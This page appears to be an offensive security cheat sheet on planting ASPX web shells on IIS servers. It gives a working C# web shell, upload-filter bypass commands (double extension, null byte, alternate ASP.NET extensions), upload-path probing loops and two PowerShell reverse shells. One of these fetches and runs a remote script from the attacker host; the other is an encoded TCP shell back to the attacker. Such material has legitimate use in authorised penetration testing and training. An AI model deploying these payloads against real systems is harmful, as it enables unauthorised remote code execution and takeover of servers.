Skip to content
HackIndex logo

HackIndex

IIS ASPX Web Shell Upload

3 min read Mar 30, 2026

ASPX web shells execute in the context of the IIS application pool identity — typically IIS APPPOOL\DefaultAppPool or a named service account. Getting an ASPX file into a web-accessible path and triggering its execution provides the initial foothold on the Windows host. This page covers shell delivery via WebDAV, file upload endpoints, and extension bypass techniques. WebDAV upload is covered in IIS WebDAV exploitation.

Minimal ASPX Web Shell

The simplest C# ASPX shell that executes commands via the cmd parameter:

<%@@ Page Language="C#" %>
<%
if(Request["cmd"] != null) {
    var proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami"
iis apppool\defaultapppool

File Upload Extension Bypass

When a file upload endpoint validates by extension, test these bypass techniques in order:

┌──(kali㉿kali)-[~]
└─$ # Double extension bypass
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected];filename=shell.aspx.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
┌──(kali㉿kali)-[~]
└─$ # Null byte bypass
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected];filename=shell.aspx%00.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
┌──(kali㉿kali)-[~]
└─$ # Alternate ASP.NET extensions
for ext in aspx asp ashx asmx axd cshtml; do
code=$(curl -sk -F "[email protected];filename=shell.$ext" http://$TARGET_IP/upload.aspx -o /dev/null -w '%{http_code}');
echo "$code shell.$ext";
done
200 shell.aspx
200 shell.ashx
403 shell.asp

Locate the Upload Path

After a successful upload, find where the file was stored:

┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected]' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|href|src|path|url'
Location: /uploads/shell.aspx
┌──(kali㉿kali)-[~]
└─$ for path in uploads upload files images content media tmp UserFiles; do code=$(curl -skI http://$TARGET_IP/$path/shell.aspx | grep HTTP | awk '{print $2}'); echo "$code /$path/shell.aspx"; done
200 /uploads/shell.aspx
404 /upload/shell.aspx

Get a Reverse Shell

Set up the listener and deliver a PowerShell reverse shell through the ASPX web shell. URL-encode the command:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, prints connection status messages.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local port number to bind.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -e $(echo -n "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" | iconv -t UTF-16LE | base64 -w0)"

Alternatively, use a direct PowerShell reverse shell without a hosted file:

┌──(kali㉿kali)-[~]
└─$ PAYLOAD=$(echo -n "\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" | iconv -t UTF-16LE | base64 -w0)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -enc $PAYLOAD"

References